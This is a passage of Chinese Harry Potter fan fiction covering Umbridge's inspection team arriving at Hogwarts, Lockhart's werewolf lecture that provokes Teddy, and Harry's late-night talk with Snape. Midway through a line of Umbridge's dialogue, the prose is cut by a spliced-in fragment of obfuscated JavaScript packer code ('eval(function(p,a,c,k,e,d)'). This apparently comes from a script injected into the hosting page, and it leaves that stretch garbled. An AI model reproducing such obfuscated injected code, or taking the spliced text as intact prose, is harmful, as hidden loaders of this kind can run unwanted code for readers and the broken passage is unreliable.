在场教授们的脸色越发阴沉。 麦格教授目光扫过文件,突然在最后一行停住。她的声音陡然提高,“由魔法部高级调查官多洛雷斯·乌姆里奇女士牵头,组成特别调查组,即日起正式入驻霍格沃兹。” 68. 高级调查官 霍格沃兹迎来新的一天。学生们低声交谈着快步穿过大厅,手里的书本几乎成了掩饰紧张的道具——调查组即将来访的消息像阴影般笼罩着城堡。 很快,一列人影踏入光影交错的走廊。挂墙画像里那些平日喋喋不休的巫师们难得噤了声,有的甚至缩回画框深处,只用余光偷瞄走在队伍最前方的女巫。她身形矮小,裹在一件刺眼的粉色外套里,领口那圈毛绒边在晨光中显得格外扎眼,与霍格沃兹古老的石墙格格不入。她的每一步都仿佛经过精确计算,皮鞋上的金属扣击打在石板上,发出清脆的响声。她脸上挂着过分明亮甜腻的笑容,一副和蔼可亲的模样——这就是魔法部新任命的高级调查官,多洛雷斯·乌姆里奇。 紧随其后的是穆里尔·巴恩斯,一个浑身上下都写满“严谨”二字的女巫,梳着一头一丝不苟的发髻,深灰色制服上每一道褶皱都像用尺子量过。她的脸仿佛也被某种无形的规矩束缚着,连表情都是一板一眼的。手中那本硬皮簿从未离身,无框眼镜后的目光十分锐利,不断在周围的一切上切割搜寻,羽毛笔沙沙作响,仿佛要将每一处细节都记录在案。 游离在队伍外的利亚姆·戈尔则是另一番景象。他的高顶巫师帽明显年代久远,歪戴在头上的样子活像个刚从工坊出来的工匠。虽然那身宽大的外袍和厚重的龙皮靴都很合身,却总给人一种与场合不符的随意感。但每当他的目光扫过城堡的某处建筑,那种专业性的关注却又显露无遗。他时不时从大衣口袋里掏出一把金属量尺,手法熟练地让它悬浮起来。 “这些符咒维持层……”他望着大厅的穹顶,语气里带着真诚的赞叹,“霍格沃兹的防护咒语体系真是令人着迷……”这番感叹立刻换来巴恩斯一记冷眼。戈尔只是无所谓地耸耸肩,将量尺收回口袋,继续漫不经心地跟在队伍后面。 —————— 邓布利多的办公室已经为这场会面做了特别准备。往日那张宽大的校长办公桌被移到一旁,取而代之的是一张长形会议桌。长桌两端摆着几把高背木椅,每把椅子的靠背上都雕刻着霍格沃兹的校徽。墙上的历任校长画像比平时活跃,有些假装在打盹,却竖着耳朵偷听,甚至有人为了找个更好的角度溜进邻居的画框。 校长及四位院长已经在长桌边就座。邓布利多端坐在主位,目光平和而深邃,自有一股令人信服的威严。麦格教授坐在他右手边,翡翠绿的条纹长袍上别着一枚精致的胸针,双手交叠,神色严肃。斯普劳特教授捧着一杯花茶,试图用小口啜饮来掩饰内心的不安。弗立维教授安静地缩在椅子里,魔杖偶尔轻点桌面。斯内普双臂交叠靠在椅背上,冷漠的目光缓慢扫过每个人,是一贯漠不关心的姿态。 哈利被安排在桌子最边上。他能感受到其他人或疑惑或探究的目光不时落在自己身上,但他选择保持沉默。邓布利多让他参加这场会议的用意很明显,因此眼下最重要的是观察和等待。 脚步声从门外传来。虽然门是敞开的,但那个脚步声的主人似乎刻意放慢了节奏,像是要通过这种方式预告自己的到来。那道被淡粉色光晕勾勒的身影终于出现在门口,她甜美的嗓音紧随其后。 “早上好,邓布利多教授。”乌姆里奇迈入房间,矮小的身形在宽敞的空间里却散发着强烈的存在感,“我想我来的时间正好——看来霍格沃兹的领导团队已经准备就绪了。” 邓布利多从长桌末端起身,动作轻缓而优雅,银须在晨光中微微闪亮。他微微抬起双手,仿佛在欢迎一位来参加校庆的老友。“欢迎,乌姆里奇女士。以及巴恩斯女士,戈尔先生。”他轻轻颔首致意,那双蓝眼睛始终注视着乌姆里奇。“如您所见,我们已经等候多时。” 乌姆里奇向前几步,随行人员紧随其后。巴恩斯立刻打开她的硬皮簿,开始记录房间内的一切细节,连墙上画像的位置都没有放过。戈尔则稍显局促地站在后方,麦格教授严厉的目光似乎让他有些不自在。他下意识地抓了抓后颈,像是在掩饰某种无措。 乌姆里奇环顾四周,在长桌中段落座。她将一个乳白色的文件袋轻轻放在桌面上,动作中带着某种刻意的仪式感。 “如各位所知,”她开口时语气轻柔,“魔法部对此次调查抱有最真诚的目的,我今天来此,完全是为了确保双方的合作更加顺畅——作为魔法部派遣的高级调查官,我的职责是明确、直接,并且……富有建设性的。”说这话时,她的目光一一扫过桌边的每位教师,在斯内普身上轻轻掠过,最后在哈利身上停留了几秒,仿佛已经找到了更有趣的目标。 邓布利多含笑点头,目光柔和地看着她,似乎没有察觉她话语中的锋利。“霍格沃兹一直与魔法部保持良好的合作关系。今天的会议,便是很好的开端。” “非常好。”乌姆里奇点头,笑得更甜了,“那么我首先需要强调一下——”她抬手从桌上的会议袋中抽出一叠文件,“魔法部已经正式批准了一份特别管理法令。” 她将文件翻开,递出其中的一张,并刻意停顿了几秒,好让所有人都注意到文件上那个象征着魔法部长权威的复杂徽印。 这份法令明确赋予了调查组在霍格沃兹的全面检查权力。在接下来的日子里,我们将监督和评估霍格沃兹的每一个环节——教学内容、学生行为、教师资质,甚至包括城堡的物理结构和魔法设施。”她的微笑不变,盯着邓布利多的眼神却冷了下来,“一切,都在魔法部的管理范围之内。” 穆里尔·巴恩斯从旁边接过文件,语气公事公办,“特别法令编号二十七,已在魔法部长批准后生效。任何基于这一法令的调查干预都有法律效力,且不得违抗。” 桌边一阵沉重的静默。麦格教授打破了它。 “法令二十七。”她重复道,语气一如既往的理性,但双手却在膝盖上握紧,“我想了解一下,霍格沃兹是否有权对这一法令提出异议?” “当然有权提出异议,麦格教授,”乌姆里奇的声音愈发轻柔,像是在安抚一个不懂事的孩子,“但在异议成立之前,该法令依然具有全面约束力——哦,还有,提交的异议必须由魔法部长亲自审批。我相信,这是再简单不过的程序了。” 麦格教授把嘴唇抿成一条线,不再说话。 “既然如此,”邓布利多的声音依然平和,“我们不妨听听您的具体调查方向?” 乌姆里奇轻轻拍了拍那叠文件,略微侧头,示意穆里尔将其中一份分发给桌边几位院长。“首先,我想说明一个重点。基于最近发生在霍格沃兹的几起事件,甚至有一名学生因此遭遇了不幸——因此,那些危险区域、存在安全隐患的教学行为,以及教师的任职资质,都需要进一步调查。”她发出一声意味深长的叹息,“我确信邓布利多校长会给予完全的配合。” 邓布利多依然保持着温和的姿态,但他看向乌姆里奇的目光却让人感到某种无形的力量。“霍格沃兹从未辜负过对学生安全的承诺。我确信,这一点您也会在调查过程中更加确信。” 乌姆里奇没有直接回应,而是轻轻眯起眼睛,目光再次不经意般扫过在座的每个人,最后停在了哈利身上。 哈利目光微微一动,直视着她,既没有露出不安,也没有表现出挑衅,甚至连眨眼的节奏都如往常一般平稳。 “尤其是对新加入的教师,我非常感兴趣。这位年轻的——哦,抱歉,我们还没来得及认识。”她故作惊讶地停顿。 “哈利·佩弗利尔。”哈利简短地点头致意。 “原来是佩弗利尔教授。”乌姆里奇的语调轻快,“多么年轻……想必在学生中很受欢迎。” “佩弗利尔教授的课程一直深受学生好评。”麦格教授冷冰冰地说。她微微挺直了脊背,神色严厉,像极了她在课堂维持秩序的样子。 “是这样吗?”乌姆里奇声音依旧甜腻,“等我亲自听过后,一定会……更有发言权的。” 哈利的眉头几不可察地皱了一下。 “哈利·佩弗利尔。”乌姆里奇笑着重复这个名字,像在品味它的含义,“坦白说,佩弗利尔这个姓氏听起来很有历史……我很好奇,佩弗利尔先生,是什么让霍格沃兹在您这样年轻的时候就决定聘请您作为教师呢?” 桌边的气氛骤然紧绷。麦格教授投给哈利一个警觉的眼神,斯内普的表情依然冷漠,但他的目光闪动了一下,仿佛早已预料到这个问题。 “感谢您的关心,乌姆里奇女士。”哈利略微坐直身体,语气平稳,“霍格沃兹的教育风格一直是包容和尊重的。关于聘任标准,我觉得由校长来解答会更合适。” 乌姆里奇脸上的笑容不变,眼神却变得锐利。她没有立即接话,转而看向邓布利多,将这个问题抛了过去。 “年轻确实是一种优势。”邓布利多轻轻笑了笑,“霍格沃兹的讲台从不对年龄和天赋设限,佩弗利尔教授的表现完全符合我们的期待。” “的确,年轻人总是充满了潜力。”乌姆里奇微微挑眉,“不过呢,”她的语气微妙地变化了一丝,“作为魔法部的调查官,我有责任确保这份潜力……符合霍格沃兹的传统要求,以及魔法部的相关法规。” 她的手指轻点桌面的文件,像个下达任务的指挥官。“正如魔法部长非常重视霍格沃兹的教学质量与安全,今天我们带来了专门的调查团队。”她示意了一下身旁的穆里尔·巴恩斯,“穆里尔是我们的行政合规审计员,她将负责审查霍格沃兹的所有文件、档案和记录,确保每一份材料都完备无误。” 巴恩斯头也不抬,“合规性是根本。”她的目光依然在文件间游移,已经开始了初步审查。 “而利亚姆·戈尔,”乌姆里奇继续道,“作为建筑符咒评定司的专家,会负责检查霍格沃兹的建筑及禁用区域,确保整个校园环境的魔法安全符合标准。” “是的,没错。”利亚姆局促地点头,但随即耸耸肩,“其实严格来说,我更喜欢开发而不是评估,不过——”注意到麦格教授锐利的目光,他赶紧改口,“总之,我会尽可能详细地检查这里的一切。” “至于我,”乌姆里奇满意地放下文件,“会专注于课程和教学的评估。我会随机抽查课程,仔细评估教学质量和课程安排,同时确保课堂上的所有行为……”她把“所有”二字咬得极重,“对学生完全安全且符合标准。” 她的注意力又一次转向哈利。“尤其是,我特别期待了解这位年轻的佩弗利尔教授的课程。年轻有为的新教师,那一定非常……”她拖长了声调,“富有特色。” 她站起身来,对穆里尔和利亚姆示意了一下,“我们今天的会议时间差不多了。稍作休息后,我将随机挑选几节课前往观摩。后续的各项调查,希望在座每一位都能全力配合。”她笑着说,“毕竟,这一切,都是为了霍格沃兹的未来。” 她环视整个房间,甜腻的笑容下是一种算计的冷意——仿佛在场的每一个人,甚至是房间里的空气都无法逃脱她的掌控。 ======== “这是我最喜欢的一段了,”洛哈特穿着孔雀蓝的长袍在教室前方踱步,手中高举着《与狼人一起流浪》,脸上挂着他标志性的灿烂笑容,“我想问问,谁能告诉我在第五章中,我是如何制服那只在威根小镇肆虐的狼人的?” 他期待地环视教室,学生们纷纷低头,有的假装在翻书,有的专注地摆弄羽毛笔。德安·托马斯突然对自己的魔杖产生了极大兴趣,开始认真地擦拭起来。西莫则在羊皮纸上涂画着什么,连头都不敢抬。就连赫敏也犹豫着没有举手,显然对这个问题没有十足的把握。 罗恩悄悄凑近赫敏耳边:“他讲的是哪本书来着?我都分不清他到底打过多少只狼人了。” “嘘!”赫敏狠狠瞪了他一眼。 教室的门被轻轻敲响。 “请进!”洛哈特的语气略带不悦,显然对表演被打断感到不快。但当他看清来人时,整个人瞬间焕发出耀眼的光彩,金色卷发随着他夸张的鞠躬动作晃动。“啊,我亲爱的乌姆里奇女士!能得到您的莅临真是莫大的荣幸。” 乌姆里奇迈着细碎的步子走进教室,眼睛闪烁着某种狂热的光芒。她的声音轻柔得像棉花糖:“希望我没有打扰到您精彩的授课。我只是来旁听学习的。您知道的,您的那些冒险故事给了我太多启发。” “哦,您太客气了!”洛哈特整个人都亮了起来,向后撩了撩他闪亮的金发。“我正好讲到《与狼人一起流浪》中最扣人心弦的部分。也许您还记得那个威根小镇的故事?” “当然记得!”乌姆里奇像个见到偶像的小女孩,双眼放光。她轻快地走到教室后排,变出一把粉红色的椅子坐下。“那可是我珍藏的章节之一。您面对狼人时那份从容,那种智慧……”她的声音里充满着毫不掩饰的崇拜。 “既然乌姆里奇女士来了,”洛哈特的声音提高了几分,激动之情溢于言表,“让我们重新来回顾一下刚才的问题——谁能告诉我,在《与狼人一起流浪》第五章中,我是如何制服那只在威根小镇肆虐的狼人的?” “哦,让我来回答!”乌姆里奇的声音里充满兴奋,“您当时用一个巧妙的月光锁链咒语困住了它,接着用纯银打造的捕兽夹将它制服。那个咒语令人叹为观止,我听说那是您自创的?” “正是如此!”洛哈特的笑容几乎咧到耳根,“让我们重现一下那个激动人心的场景。”他大步跨上讲台,魔杖在空中划出优雅的弧线,“那是个月圆之夜,我正走在威根小镇的巷子里……” “啊!”乌姆里奇的声音因激动而颤抖,“就是您在书里描绘的那段——‘月光如银,我的影子在石板路上拖得很长’,对不对?” “一字不差!”洛哈特的双眼闪烁着光芒,“我听见身后传来低沉的嗥叫,转身的瞬间,那只狼人从屋顶一跃而下……” “‘它的眼睛在黑暗中泛着血红色的光芒,’”乌姆里奇几乎要唱起来了,“‘但我早已胸有成竹’。这段我能倒背如流!” “您真是太了不起了!”洛哈特手舞足蹈,长袍随着他夸张的动作翻飞,“我立刻施展了月光锁链咒。那个狼人想往右闪躲,但我早就预料到了——因为我注意到它留下的爪印显示它习惯性地往右跳跃……” “这就是您过人之处!”乌姆里奇捂着胸口,一脸崇拜,“能在如此危险的情况下还保持这样的观察力!” 西莫忍不住发出一声响亮的咳嗽,显然是在憋笑。纳威目瞪口呆地看着这一幕,羽毛笔从指间滑落都没察觉。 “梅林在上。”罗恩翻了个白眼,压低声音对赫敏说,“你相信他能打赢狼人?他连蛇怪都对付不了,上次看到蛇怪他不是直接就晕过去了吗?” 赫敏张开嘴想反驳,瞥了眼手中的《与狼人一起流浪》,难得地露出迟疑的神色:“好吧……这次确实有点太……”她的语气里带着几分失望。 泰迪坐在他们旁边,手指不自觉地绞着课本的页角。他的头发逐渐褪去原本的活力,染上了深灰的色调。眉头紧锁,嘴唇抿成一条细线。 “精彩的部分还在后面!”洛哈特陷入了自我陶醉的状态,“那只狼人被我逼入绝境,突然,‘它突然发出一声震天的咆哮,试图用最后的蛮力挣脱!但我早有准备,一个闪身,纯银捕兽夹精准地咬住了它的后腿!’” 乌姆里奇双手交叠,连连点头。 洛哈特微微一笑,向她投去一个自信的眼神,“乌姆里奇女士,您还记得我当时对它说了什么吗?” “‘我是你的救世主,放下武器,你才有活路!’”乌姆里奇突然用一种崇拜的语气说道,“在第六章第二段,您是这样描写的。那个场景太令人难忘了,您站在月光下,魔杖直指狼人……” “太棒了!您对我作品的了解简直让我感动。是的,面对一头嗜血的狼人,我必须展现足够的威严……”洛哈特大步流星地走到教室中央,张开双臂,“亲爱的学生们,这段经历让我深刻认识到狼人的本质。他们渴求的只有鲜血和杀戮!” “您对狼人习性的描述令人叹服。”乌姆里奇从座位上站起来,“那种野蛮、凶残的本性……而且他们会伪装成普通人,混迹在我们中间,这才是最令人担忧的。” 泰迪坐在位置上一动不动。他盯着课本上模糊的文字,手指无意识地抠着羊皮纸边缘。那些刺耳的言论刺痛着他的心。他想起父亲温和的笑容,想起哈利讲述的那些故事。莱姆斯·卢平分明是个那么优秀的老师,他那么温柔,那么富有爱心…… “每当月圆之夜,”洛哈特张开双臂,“它们会完全丧失理智,成为只知杀戮的怪物。即使是最亲近的人在它们眼里也只是猎物。它们没有感情,不懂爱……” “不对!”泰迪猛地站起来,椅子在地面上刮出刺耳声响。他的脸因愤怒涨得通红,声音发抖,“您根本不了解狼人!他们和我们一样都是人!” 教室里所有人都转头看着他。连洛哈特也停住了表演,惊讶地眨着眼睛。 “泰迪……”赫敏轻轻拉他的袖子。 乌姆里奇的目光敏锐地转向这边,唇边挂着意味深长的微笑:“这位小先生似乎对狼人有着……不同寻常的看法?” “我……我只是觉得您说得不对!”泰迪的声音里混杂着愤怒和委屈,他深吸一口气,“对不起,教授,但我觉得狼人和我们没有什么不同。他们也有家人,也会关心别人……只是每个月会有几天……” 教室里的同学们不自觉地往后挪。最近的谣言让他们对泰迪的任何异常反应都格外敏感。赫敏担忧地看着泰迪的背影,他的肩膀正在微微发抖。 “亲爱的孩子,”乌姆里奇的羽毛笔在笔记本上快速划过,“你对这些危险生物的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这位小先生。”乌姆里奇收敛了笑容,声音突然变得冰冷,“看来你需要写一篇关于危险生物管理条例的论文,好好理解一下魔法部的决策。洛哈特教授可是我们这个领域最权威的专家之一。你的质疑非常不恰当,你的想法……更是危险。” “抱歉,他只是在表达自己的观点。”赫敏急忙说,一边使劲拽着泰迪的袖子。 “是啊,”罗恩也帮腔道,虽然他自己的脸也涨得通红,“我们刚刚在神奇动物保护课上学过……” “原来如此。”乌姆里奇的语气又恢复了甜美,“多么……有趣的观点。”她的目光在泰迪变色的头发上停留片刻,转向洛哈特,“您说呢,教授?” “啊,是的,是的。”洛哈特似乎松了口气,连忙接话,“年轻人总是充满热情。不过说到狼人,我还有个精彩的故事……” “恐怕要留到下次了。”乌姆里奇站起身,语气不容置疑,“我想我已经看到了很多……有意思的东西。感谢您精彩的授课,洛哈特教授。” 铃声适时地响起。学生们几乎是争先恐后地收拾书包,匆忙离开教室。但没人敢往泰迪这边多看一眼,连总爱说话的西莫都低头快步走出门。 “走吧。”赫敏轻声说,依然扶着泰迪的胳膊,“该去下一节课了。” 泰迪机械地点头,把皱巴巴的课本塞进书包。罗恩走在另一侧,警惕地瞥着乌姆里奇。 他们走到门口时,乌姆里奇的声音再次响起:“再见,小先生。相信我们很快就会再见面的。” ======== 深夜的地窖寂静无声,空气中还残留着魔药熬制后的苦涩气息。几支蜡烛快要燃尽,石墙上的影子将一排排玻璃瓶拉得很长。当哈利推开门时,斯内普正背对着门口整理魔药架上的瓶瓶罐罐。 “看来,救世主终于学会了准时。”斯内普头也不回地说,手指依然在药瓶间移动。 “这不是你指定的时间和地点吗?”哈利走进来,轻轻带上门。他注意到实验台上已经摆好了一个银色的小瓶子,“而且,我以为你叫我来,是打算聊聊今天会议上的事。” 斯内普转过身,目光落在哈利身上,“比如乌姆里奇那番‘和蔼可亲’的问候?还是她对你那些‘善意’的关注?” “她一向这样。”哈利忍不住撇了撇嘴,走到实验台边,“不过,这不是我最担心的。我听说,她下午已经去听了洛哈特的课?” “显然,这又是你教父职责的某种完美体现——对你教子的状况毫无所知。”斯内普说,“听说洛哈特那个自大的白痴在课堂上发表了一通关于狼人‘社会威胁’的精彩言论。而你的教子,几乎当众掀翻了他的讲桌。” “乌姆里奇也在?”哈利脸色变了,“你是说泰迪……他没有闹出什么乱子吧?” “你该庆幸格兰芬多那群愚蠢的同伴居然头脑清醒,及时拦住了他。”斯内普冷哼一声,“那男孩简直和他教父如出一辙的莽撞。” 哈利低声咒骂了一句。“该死,他实际才六岁。”他手心下意识地拍了一下实验台,声音带着掩饰不住的焦虑,“那些谣言已经让他够难受的了。现在乌姆里奇还——”他停住了,深吸一口气,“如果她把目标转移到泰迪身上……” “别天真了,波特。”斯内普的目光从魔药架移向哈利,稍稍眯起眼睛,“乌姆里奇盯上的从来不是他,而是你。” 哈利沉默片刻后开口,“她盯着我没错,但是泰迪是个孩子。如果她利用他——斯内普,我需要你的帮忙,多照看他,至少帮我保护他远离麻烦。” 斯内普微微垂下视线,像是在权衡这个请求的分量。片刻后,他移开视线,语气依旧冷淡:“我的课堂不需要你来置喙,他和其他学生会受到一样的保护……至于课堂之外——”他的目光重新转向哈利,“你真正需要担心的,是你自己,波特。” “巴恩斯已经在翻档案室了,而你那一片空白的履历简直就是送给乌姆里奇的最好礼物。” “我知道她的手段。”哈利平静地说,不自觉地摸了摸右手手背,“她迟早会拿这个做文章。” 斯内普注意到了这个动作,但他没打算多问。“显然你还不够了解。”他的声音冷了几分,“乌姆里奇不会放过任何可疑的蛛丝马迹,而你那些天真的伪装漏洞百出。如果连这点警惕都做不到,我倒要怀疑你是否真的经历过你说的那些事。” “我怎么会不了解她?”哈利扯扯嘴角,“以前她就是这样一步步蚕食霍格沃兹的。先是收集‘证据’,然后慢慢收紧控制。学生们被剥夺了一切自由,甚至连在走廊上谈话都战战兢兢。”他停顿了一下,右手又开始无意识地摩挲手背,“你知道那种感觉吗?眼睁睁看着霍格沃兹几乎变成了第二个阿兹卡班。” 斯内普的目光在哈利的右手上停留了片刻,眼神变得晦暗难测。他张口似乎想说什么,最终只是问道:“所以你打算怎么做?” “我和邓布利多讨论过了。” 斯内普的表情微微变化,显然对这句话产生了兴趣。“邓布利多怎么说?” “他认为与其让乌姆里奇自己发现破绽,不如让她找到一些我们希望她发现的东西。”哈利说,“比如暴露一些……经过精心准备的‘破绽’。让她以为自己掌握了某些把柄,但实际上,每一条线索都在我们的掌控之中。” “至少这个计划比你以往那些莽撞行动要像样一些。但在那之前,先管好你自己的言行。邓布利多应该也提醒过你——特别是在她来‘视察’课堂的时候。”斯内普在“视察”二字上加重了语气,“你以为她是来指导教学?她巴不得你在课堂上说错一句话,做错一个动作。” “是的,他说我们要让调查组觉得一切都在他们的掌控之中。”哈利苦笑了一下,“所以接下来几天,恐怕我得表现得更加……配合。” “希望你真能做到。”斯内普讽刺道,但语气比平时缓和了许多,“考虑到你和自控力这两个词向来不怎么相配。” 他转身从架子上端起一瓶新的魔药,下了逐客令,“你可以走了。”他微微抬起下巴,示意实验台上的药瓶:“别忘了拿走。” 哈利盯着药瓶几秒钟,目光中带上一丝思索。这已经是连续几周了,自从那件事之后,斯内普一直在为他准备无梦药剂——明明他从未提过自己做的那些噩梦。 他伸手拿起药瓶,却不由得有些犹疑。他总觉得最近斯内普的态度有些奇怪——并非彻底改变,而更像是一种极度克制的变化,微妙得几乎无法定义。好像在某些瞬间,那道始终竖起的防御悄然松动,又在他察觉的刹那恢复如常。 “你该不会是谁喝了复方汤剂假扮的西弗勒斯·斯内普吧?”哈利还是拿起药瓶,嘴角带着一丝笑意,“我以为‘斯内普教授’最讨厌的就是多管闲事——尤其是主动关心一个波特。” 斯内普的表情微微收紧了一瞬,但很快,“出去,波特。”他转过身背对着哈利,语气一如既往地冷淡,“在你说出更多让我后悔的话之前。” 哈利转身走向门口,步伐比来时轻快不少。但走到门口时,突然停下脚步,“西弗勒斯。”这个名字轻轻滑出唇边,地窖的空气仿佛凝固了一瞬。“谢谢。”他没有等斯内普回应,轻轻带上了门。 69. 调查组的阴影 利亚姆·戈尔专注地研究着一块古老的墙砖,银色仪器在他手中发出低沉的嗡鸣,测量着墙后隐秘的魔法痕迹。这里的魔力波动比城堡其他区域要强烈得多,几道不同时期的符文交织成网,形成一个复杂的保护系统。 “距今至少有八百年了。”他用魔杖轻点仪器,银光在墙面勾勒出一片繁复的符文纹路,“瞧这能量流向,像是连通着某个隐秘的——” “八百年?”墙上画像里的马尔多拉夫爵士不屑地撇着嘴,“你连时间都算错了。这是萨拉查·斯莱特林亲手设下的防护咒,距今已有一千零二年。”他挺起胸膛,盔甲叮当作响,“我还亲眼见过城堡最后一次大修呢。” 戈尔刚想说什么,眼角瞥见走廊尽头一个矮小的身影一闪而过,像个人偶似的,转瞬就不见了。他皱了皱眉,揉揉眼睛,嘀咕了句,“看错了?”他匆匆在笔记本上记下数据,这些古老而强大的魔法保护确实令人着迷,可惜他的报告最终只会沦为打击霍格沃兹的证据。他叹息一声,收起仪器,转向下一处检查点。 档案室里,巴恩斯正埋首于厚重的人事档案中。身旁几摞文件分门别类,被银色墨水标注了不同状态——“审核完毕”那摞最厚,洛哈特那份长达五十页的“光辉事迹”被压在最底下。那些浮夸的措辞和矛盾的时间线让她多次蹙眉,可一想到乌姆里奇对这位“冒险家”的偏爱,便识趣地选择了沉默。 斯内普的档案被放在“待复查”一栏。厚重的羊皮纸上布满了蛛网般的注释,特殊时期的经历被一一圈出。一页泛黄的纸张尤为显眼,上头记录着1981年前后的研究,“黑魔法防御”一词被反复提及。巴恩斯在边缘添上一行小字,“需关注的时间点?”随即又画了个问号。尽管有邓布利多的亲笔证明,这份档案依然值得深究。 最上方是“佩弗利尔,哈利”的档案,几处可疑的空白格外醒目。 “就学、任职经历一栏完全空白……”她在标题旁画了个星号,“简历中提到的几份证书编号也查不到来源。”巴恩斯往后翻了几页,羽毛笔在羊皮纸上划出一道又一道标记,每一处可疑的空白都被仔细圈画。 楼梯拐角处,科林·克里维缩着身子,手指拨弄着他珍爱的相机。他刚偷拍下档案室里巴恩斯的忙碌身影,正要取出底片,一阵规律的脚步声从走廊尽头传来。 多洛雷斯·乌姆里奇迈着碎步转过拐角,脸上挂着甜得腻人的笑。她停下脚步,头微微一侧,眼缝眯成一线,“早上好,克里维先生。”嗓音柔得像糖浆,科林却觉得后背一寒。他手忙脚乱地把相机塞进袍子,脚底一滑,差点撞上楼梯扶手。 “我相信你很清楚,未经允许在城堡内拍照是违反校规的。”乌姆里奇的目光锁在他身上。 科林抱紧相机,不自觉后退一步,“我只是……只是想——” “怎么回事?”巴恩斯从档案室匆匆赶出,声音冷得像冬夜的风,手中的羽毛笔在笔记本上飞快滑动。她扫了科林一眼,目光落在相机上。“底片。”她命令道。 科林咬紧牙,缓缓打开相机后盖,指尖颤抖着取出未曝光的底片。乌姆里奇接过,轻挥魔杖,底片化作一缕灰烟。“去上课吧,”她歪着头,笑意更深,“去上课吧,克里维先生。”顿了顿,她慢悠悠地补了一句,“希望你记住教训——我这人很喜欢记下学生的表现,尤其是那些……需要特别关注的。” 科林几乎是逃也似地跑开,后背仍刺着那冰冷的视线。 -------------- 自调查组入驻,霍格沃兹便笼罩在沉重的阴霾下,调查组的触角探入每一个角落。就连画像里的人物都一反常态——胖夫人不再高声训斥宵禁后归来的学生,画中的骑士们停止了例行的剑术切磋。每个人都小心翼翼地维持着表面的平静,仿佛薄冰下涌动的暗流。 巴恩斯的羽毛笔从不停歇,一份份报告整齐地堆放在乌姆里奇的办公桌上。戈尔虽然看似随意,却也在城堡各处留下了详细的“安全隐患”记录。每当他们两人同时出现在某处,就意味着那里即将迎来一场无声的风暴。 学生们很快学会了在走廊里辨认调查组成员的脚步声。当乌姆里奇那小高跟喀喀作响、带着某种规律节奏的脚步声远远传来时,前一秒还热闹的休息区会在瞬间安静下来,交谈声降至耳语,目光谨慎地游移。特别是当那个穿着粉红色套装的身影经过时,连呼吸都仿佛变得轻微。 “你们听说了吗?”今天午餐前,西莫在走廊拐角压低声音对迪安说,“科林的相机被没收了。”他瞥了眼四周,“他好像拍到了什么不该拍的东西。” “嘘——”帕瓦蒂警惕地打断她,几个斯莱特林学生正好从旁边经过。扎比尼的目光在他们身上逗留了片刻,嘴角挂着若有似无的笑意。 学院间的态度分化日渐显现。斯莱特林的休息室里,扎比尼和潘西成了最响亮的声音。“卢修斯·马尔福可是校董会支柱。”潘西在休息室得意地宣布着,“霍格沃兹早该整顿了。”她特意看向德拉科,似乎在寻求这位马尔福继承人的认同。但德拉科出人意料地沉默不语,他懒洋洋地靠在沙发上,手指绕着魔杖转圈,眼皮都没抬一下——仿佛对父亲在校董会的影响力毫无兴趣。这份异常的冷淡没有影响其他斯莱特林的选择——他们已经迫不及待地站到了调查组这边,摩拳擦掌地等待霍格沃兹的“改革”。 格兰芬多的反应则暗藏波澜。表面上他们依然团结一致抵制调查组,私下却有不少学生依然刻意与泰迪保持距离。“我不是说他不对劲,”拉文德·布朗在休息室角落低语,对帕瓦蒂·佩蒂尔耸肩,“可他的变形术确实怪吓人的。”唯有赫敏和罗恩寸步不离,挡住那些不善的目光。 拉文克劳多半冷眼旁观,关注教学改革的风向。只有赫奇帕奇依然坚持公正立场,塞德里克经常制止斯莱特林的挑衅,“没证据就别乱说。”但这样的声音很快就淹没在纷乱的流言中。 至于教师们,他们的态度则比学生更加微妙。麦格教授在变形课上的声音愈发严厉,每当乌姆里奇出现在教室门口时,她的嘴唇都会抿成一条细线。弗立维教授原本活泼的咒语演示也变得谨慎克制,生怕引来什么闲话。就连向来温和的斯普劳特教授也显露出不耐烦——她在三号温室门口张贴了醒目的警示,“危险植物,未经允许,禁止入内”,这让戈尔不得不推迟了他的“安全检查”。 魔药课堂的氛围比往日更加森严。斯内普对调查组的到访报以一种危险的礼貌,每个措辞都像是精心雕琢过的双刃剑。当戈尔试图检查储藏室时,斯内普慢条斯理地列举了一长串危险魔药的名字,语气平静得令人不寒而栗,“如果你坚持要进去,我建议先准备好所有解毒剂。毕竟……”他意味深长地停顿,“安全第一。”连乌姆里奇似乎也对此颇为顾忌,每次路过地窖都会不自觉地加快脚步。 相比之下,占卜课就成了重点关照对象。特劳妮教授比往常更加神经质,课堂上时不时发出一些令人不安的预言,“噢,亲爱的,我看到了……”她对着水晶球,手指颤抖,“一个穿粉红套装的人会遭遇可怕的厄运……”这番话很快传到了乌姆里奇耳中。第二天,特劳妮就收到了一份详细的“课程评估表”。 “预言术是最不精确的魔法分支,”有学生听到乌姆里奇在走廊上高声感叹,甜腻的声音里带着显而易见的轻蔑,“我真怀疑它是否还有存在的必要。” 这种时刻,礼堂的用餐时间反而成了难得的喘息机会。餐桌前的热闹能短暂驱散走廊上的阴霾,叉子与盘子的碰撞声掩盖了那些压抑的不安。更重要的是,在这里,他们至少能确定乌姆里奇的位置——远在教师席旁边,而不是突然出现在某个意想不到的角落。 今天的午餐时分,餐厅里的谈话声比往日更低。弗雷德在格兰芬多长桌边用叉子戳着土豆泥,嘴角挂着难以掩饰的幸灾乐祸,“看见了吗?洛哈特昨天那出戏可真精彩,一道刺眼的光,轰一声,他自己就倒下了,两条腿软得像没放筋骨的布丁!” “还喊着‘技术性失误’。”乔治压低声音,肩膀止不住地抖动,“我看他是天生的笑话。” 周围几个低年级和高年级的学生抬头偷瞄,眼神里混着好奇。 吉德罗·洛哈特,霍格沃兹的黑魔法防御术教授,在昨天的四年级课堂上搞砸了一个自创的“辉煌光环咒”。事实证明,八卦总是传得比飞路粉还要快——据说他两条腿的骨头全没了,整个人瘫成一团果冻,被庞弗雷夫人用担架魔法抬走。在医疗翼里,他还哀嚎着要写新书《我和失控咒语的浪漫》,可惜没人当真。 “我刚从医疗翼过来,”李·乔丹凑近过来,神神秘秘地加入谈话,“庞弗雷夫人说至少要一周才能让骨头长回来。” “一周!”弗雷德眼睛一亮,“那就是说——” “佩弗利尔教授接他的课。”李接过话头,“刚才在走廊听到麦格教授说的,邓布利多已经安排好了。” 这个消息在长桌间如火花般炸开,一时间充满了快活的空气。 “终于不用听他讲那些编造的冒险了。”安吉丽娜·约翰逊松口气,“上次那个‘魅力增强咒’差点把我的眉毛染成紫色。” 